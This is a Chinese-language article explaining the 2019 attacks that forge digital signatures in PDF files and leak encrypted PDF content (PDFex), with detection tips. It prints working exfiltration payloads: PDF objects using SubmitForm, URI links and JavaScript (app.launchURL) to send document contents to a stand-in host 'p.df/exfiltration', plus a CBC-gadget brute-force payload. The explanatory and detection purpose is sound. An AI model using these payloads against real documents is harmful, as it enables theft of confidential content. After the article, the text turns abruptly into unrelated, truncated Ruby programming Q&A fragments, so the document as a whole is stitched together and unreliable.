早前,在2019年3月初,来自明斯特大学及波鸿鲁尔大学的德国研究人员称,他们已经设法利用新发现的漏洞,并成功地攻破了PDF文件中的数字签名。
随后,2019年10月再次披露: 加密PDF存在PDFex漏洞。
最后,于2019年12月27号,在36届C3混沌黑客大会上进行了攻破PDF签名和攻破PDF加密两个议题的分享。
那么,这次闹得沸沸扬扬的PDF安全事件,到底是怎么一回事儿呢?下面容我细细道来。
随着网络的发展,PDF的使用也越发的频繁。据2015年统计,互联网上存在约16亿份PDF文件,同时据Adobe官方称,仅在2017年,他们就大约处理了80亿个数字签名的PDF文件。
那么大家是否在生活中也经常见到,一些企业公司开出的PDF电子发票呢?
包括亚马逊等电商企业,实际上也是使用的PDF电子发票。而这些发票的背后,都是有着数字签名的保护。很显然,带有数字签名的PDF文件在许多国家和地区都是具有法律效力的!
而另一方面,一些银行等企业,慢慢开始使用加密PDF来作为加密电子邮件的替代品。一些政府机构同样允许使用加密、带签名的PDF来进行身份认证,包括美国等国家。
可见,签名、加密PDF在我们身边具有广泛的应用!
首先,简单地介绍一下PDF格式,如下图:
每个PDF文件都由四个主要部分构成的,分别是文件头、文件体、Xref交叉引用表以及文件尾追踪器:
1.文件头:标注了PDF的版本
2.文件体:显示用户看到的PDF正文内容
3.交叉引用表:列出主体内的对象及显示内容位置的目录
4.文件尾:PDF阅读器阅读文档的第一步,它包含了两个重要参数,告诉PDF阅读器应该从哪里开始处理文件,以及交叉引用表的地址。
PDF规范还有一个增量更新功能,允许用户标记部分文本并留下评论。本质上,数字签名也是一种增量更新,即向文件中添加另一个元素和相应的部分。
下面我们来看看,如何通过相关手段,修改一个数字签名的PDF文件,且修改后仍然“签名有效”!
这是一种很基础、简单的攻击,由于PDF支持增量更新,因此攻击者可向文件增量添加内容以达到目的。如下图:
实验者先后通过:
1.直接向文本编辑器中的PDF中增量添加内容 准确来说,该操作并非攻击利用,而只是一个常规的增量更新,一些阅读器打开文件时会提示说签名有效,但文件内容被修改,而一些阅读器甚至连这种提示都不会有。因此一些没有经验的用户,很有可能就会被成功欺骗。
2.增量添加内容后,并删除PDF文件的最后两部分
3.增量添加内容后,并删除PDF文件的交叉引用表
4.增量添加内容后,删除PDF文件的最后两部分,再把原数字签名复制到末尾
以上四种方式,前后成功骗过了包括Foxit、MasterPDF等50%的PDF阅读器。
对文件签名,说白了就是将两个重要的签名字段增量更新到文件体中,即包含签名内容的/Contents字段和描述签名相关参数的/ByteRange字段。
而/ByteRange字段有四个参数,分别是:
1.文件的起点
2.数字签名前的字节数
3.数字签名结束的字节位置
4.数字签名后的字节数
具体可参见下图左:
我们知道,电子签名是给指定内容进行签名,因此用于存储签名本身的存储区域无法被进行签名计算。
因此实验者试图去调大/ByteRange字段的第三个参数值,这样,文件就出现了一个额外的区域(上图右的红色区域),能够放置任何内容。
当然理论上说,如果PDF阅读器“工作正常”,那么用户是无法看到这个额外区域的内容的。然而实验发现77%的阅读器却都能看的这个区域的内容。
如上图,实验发现:
1.签名字段/Contents及签名参数字段/ByteRange就算被删除,依然有部分阅读器验证通过了签名。
2./Contents和/ByteRange字段,就算值改为空、null、0x00、其他值,同样依旧有PDF阅读器认可其文件签名。
综上,签名是完全可以进行伪造、修改的。
以下是上面三种攻击,相关PDF阅读器的受影响情况。显然,只有Adobe Reader 9没有受到相关影响,然而搞笑的是,Adobe Reader 9只有Linux用户因为缺少更新的可用版本才会不得已地使用到它!
Xref Table+Trailer结尾。即%%EOF结尾符的上面没有trailer和xref字符串,而直接就是obj+endobj形式的文件体。* SWA攻击的检测 同样我们观察图中SWA的攻击,可以看出,和正常PDF文件相比,会出现至少两个/ByteRange!这是很显然的一个异常点。* USF攻击的检测 我们知道,一个签名后的PDF文件,必然会存在一个TransformMethod/DocMDP,它用于检测文档相对于最原始签名字段的修改。 因此如果存在上述字符串,但/Contents和/ByteRange字段却存在个别或两个都不存在的情况,则有可能是USF攻击。此外,如果/Contents、/ByteRange字段值为空、null、0x00,也有可能是USF攻击。三、加密PDF的攻破针对目前慢慢走向大众化的加密PDF,其机密性是否就真的牢不可破呢?
答案是否定的!事实上,确实存在着:无需密码就能读取加密PDF文件内容的方法,这就是PDFex,一个利用PDF标准规范的安全漏洞来达到攻破加密的目的。
当然这里需要重点强调的是:该攻击,并不是说攻击者可以利用该攻击来获得或绕过密码,而是在受害者打开该文档时,使内容泄漏给远程攻击者。
那么,这个PDFex攻击到底是怎样一个东西呢?
首先,请允许我感叹一下:历史总是惊人地相似!
2018年,爆出《PGP与S/MIME两种邮件加密协议存在的重大安全漏洞,致使加密邮件形同裸奔》,而该漏洞的攻击方式存在两种:
而本次要说的这个PDFex,同样存在两种类似的攻击方式:
由于标准文件规范是支持部分加密的,即允许仅PDF文件体的正文等进行部分加密,而PDF文件尾、交叉引用表等其他PDF结构对象,则保留未加密状态。因此,对明文密文混杂的支持,就给了攻击者有机可乘的机会。
具体我们看下图:
上图是一个PDF文件结构图(把一个PDF文件拖到notepad++里面的大概样子),其中只有PDF正文(4 0 obj)和其中嵌入文件(5 0 obj)被进行了加密,而其他定义PDF文档结构的对象则保持未加密状态。
因此,攻击者添加了图上两处红色payload:
{URI/SubmitForm/JS}的含义可理解为:可通过超链接(URI)、表单提交(SubmitForm)和JavaScript三种方式,将4 0 obj和5 0 obj发送给攻击者服务器,即存在着多种渗透通道。PDF规范支持URI/SubmitForm/JS这三种交互方式,不过具体的PDF阅读器(规范实现者)可能有些不支持表单提交,而有些限制JavaScript的支持,甚至默认情况下禁用了JavaScript。由于PDF加密是采用的AES算法,以及密码块链接(CBC)加密模式,而不会对密文进行完整性检查,因此可被攻击者修改利用。
攻击者会使用CBC小工具将PDF文档中存在的部分明文更改为一段payload,当合法用户打开文件时,嵌入的payload将会得到执行,从而将文档发送到攻击者指定的站点。
实验者对常用的27种PDF阅读器做了相关测试,无论是哪个平台的PDF阅读器,两种攻击方式中总有一种能攻破,甚至绝大部分阅读器两种攻击方法都适用。
从上面的攻击利用得知,攻击者必须会在文件打开前,使用一个OpenAction函数,进行第一步的打开触发操作。
因此第一个特点就在于:PDF的第一个结构对象(即从1 0 obj到endobj区间内),必然存在一个OpenAction函数!
接着会通过三种渗透通道中的其中一种进行数据外传:
1 0 obj<< /Type /Catalog /Pages 2 0 R /AcroForm << /Fields [5 0 R] >> % Removed "6 0 R" here to get a normal/unsuspicious cursor /OpenAction 7 0 R>>endobj7 0 obj<< /Type /Action /S /SubmitForm /F << /Type /FileSpec /F /http#3A#2F#2Fp.df#2Fexfiltration#2F /V true /FS /URL >> /Flags 4 % SubmitFDF=0, SubmitHTML=4, SubmitXML=32, SubmitPDF=256>>endobj 显然存在SubmitForm提交关键词、/http#3A#2F#2Fp.df#2Fexfiltration#2FURL地址等敏感字符串!* 使用超链接外传的payload:1 0 obj<< /Type /Catalog /Pages 2 0 R /URI << /Base /http#3A#2F#2Fp.df#2Fexfiltration#2F >> /ViewerPreferences << /DisplayDocTitle true >> /OpenAction 7 0 R>>endobj 会在第一个结构对象中定义形如/http#3A#2F#2Fp.df#2Fexfiltration#2F的URL,随后会在7 0 obj中去拿该URL进行跳转。* 使用JavaScript外传的payload:7 0 obj<< /Type /Action /S /JavaScript /JS /app.launchURL#28#22http#3A#2F#2Fp.df#2Fexfiltration#2F#22#2Bthis.getAnnots#28#29#5B0#5D.contents#29>>endobj 研究过多个不同阅读器的相应payload,有些是先使用OpenAcion函数触发,随后触发相关JS。有些是直接通过stream流把JS代码包装到第一个结构对象中。 但是万变不离其宗地均会使用以下代码:* 使用app.launchURL("URI")或SOAP.request({cURL:"URI",oRequest:{},cAction:""})代码来加载URL* 使用this.getAnnots()[0].contents或util.stringFromStream(this.getDataObjectContents("x.txt",true),"utf-8")代码来获取正文内容最后再进行URL组装,外传到攻击者服务器。### CBC小工具攻击的检测发现攻击者在使用CBC小工具进行payload写入时,由于对最后一个字节值的不确定,会使用256个可能的值(0x00到0xFF)来进行一一试探。payload如下:
1 0 obj<< /Type /Catalog/AcroForm << /Fields [<< /T (x) /V 2 0 R >>] >> /OpenAction [3 0 R 4 0 R ... 259 0 R] >>
endobj
2 0 obj
[encrypted data]
endobj
3 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0x00> >> // guessing last byte
endobj
4 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0x01> >> // guessing last byte
endobj
...
258 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0xFF> >> // guessing last byte
因此会存在至少256个SubmitForm或超链接等提交,同时第一个结构对象中,OpenAction函数会对应去调用这256个obj引用!
最后,这个事件也给我们大家敲响了警钟:
我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div
我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看rubyzip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d
类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc
很好奇,就使用rubyonrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提
假设我做了一个模块如下:m=Module.newdoclassCendend三个问题:除了对m的引用之外,还有什么方法可以访问C和m中的其他内容?我可以在创建匿名模块后为其命名吗(就像我输入“module...”一样)?如何在使用完匿名模块后将其删除,使其定义的常量不再存在? 最佳答案 三个答案:是的,使用ObjectSpace.此代码使c引用你的类(class)C不引用m:c=nilObjectSpace.each_object{|obj|c=objif(Class===objandobj.name=~/::C$/)}当然这取决于
我正在尝试使用ruby和Savon来使用网络服务。测试服务为http://www.webservicex.net/WS/WSDetails.aspx?WSID=9&CATID=2require'rubygems'require'savon'client=Savon::Client.new"http://www.webservicex.net/stockquote.asmx?WSDL"client.get_quotedo|soap|soap.body={:symbol=>"AAPL"}end返回SOAP异常。检查soap信封,在我看来soap请求没有正确的命名空间。任何人都可以建议我
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。
我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t
我想将html转换为纯文本。不过,我不想只删除标签,我想智能地保留尽可能多的格式。为插入换行符标签,检测段落并格式化它们等。输入非常简单,通常是格式良好的html(不是整个文档,只是一堆内容,通常没有anchor或图像)。我可以将几个正则表达式放在一起,让我达到80%,但我认为可能有一些现有的解决方案更智能。 最佳答案 首先,不要尝试为此使用正则表达式。很有可能你会想出一个脆弱/脆弱的解决方案,它会随着HTML的变化而崩溃,或者很难管理和维护。您可以使用Nokogiri快速解析HTML并提取文本:require'nokogiri'h
我想为Heroku构建一个Rails3应用程序。他们使用Postgres作为他们的数据库,所以我通过MacPorts安装了postgres9.0。现在我需要一个postgresgem并且共识是出于性能原因你想要pggem。但是我对我得到的错误感到非常困惑当我尝试在rvm下通过geminstall安装pg时。我已经非常明确地指定了所有postgres目录的位置可以找到但仍然无法完成安装:$envARCHFLAGS='-archx86_64'geminstallpg--\--with-pg-config=/opt/local/var/db/postgresql90/defaultdb/po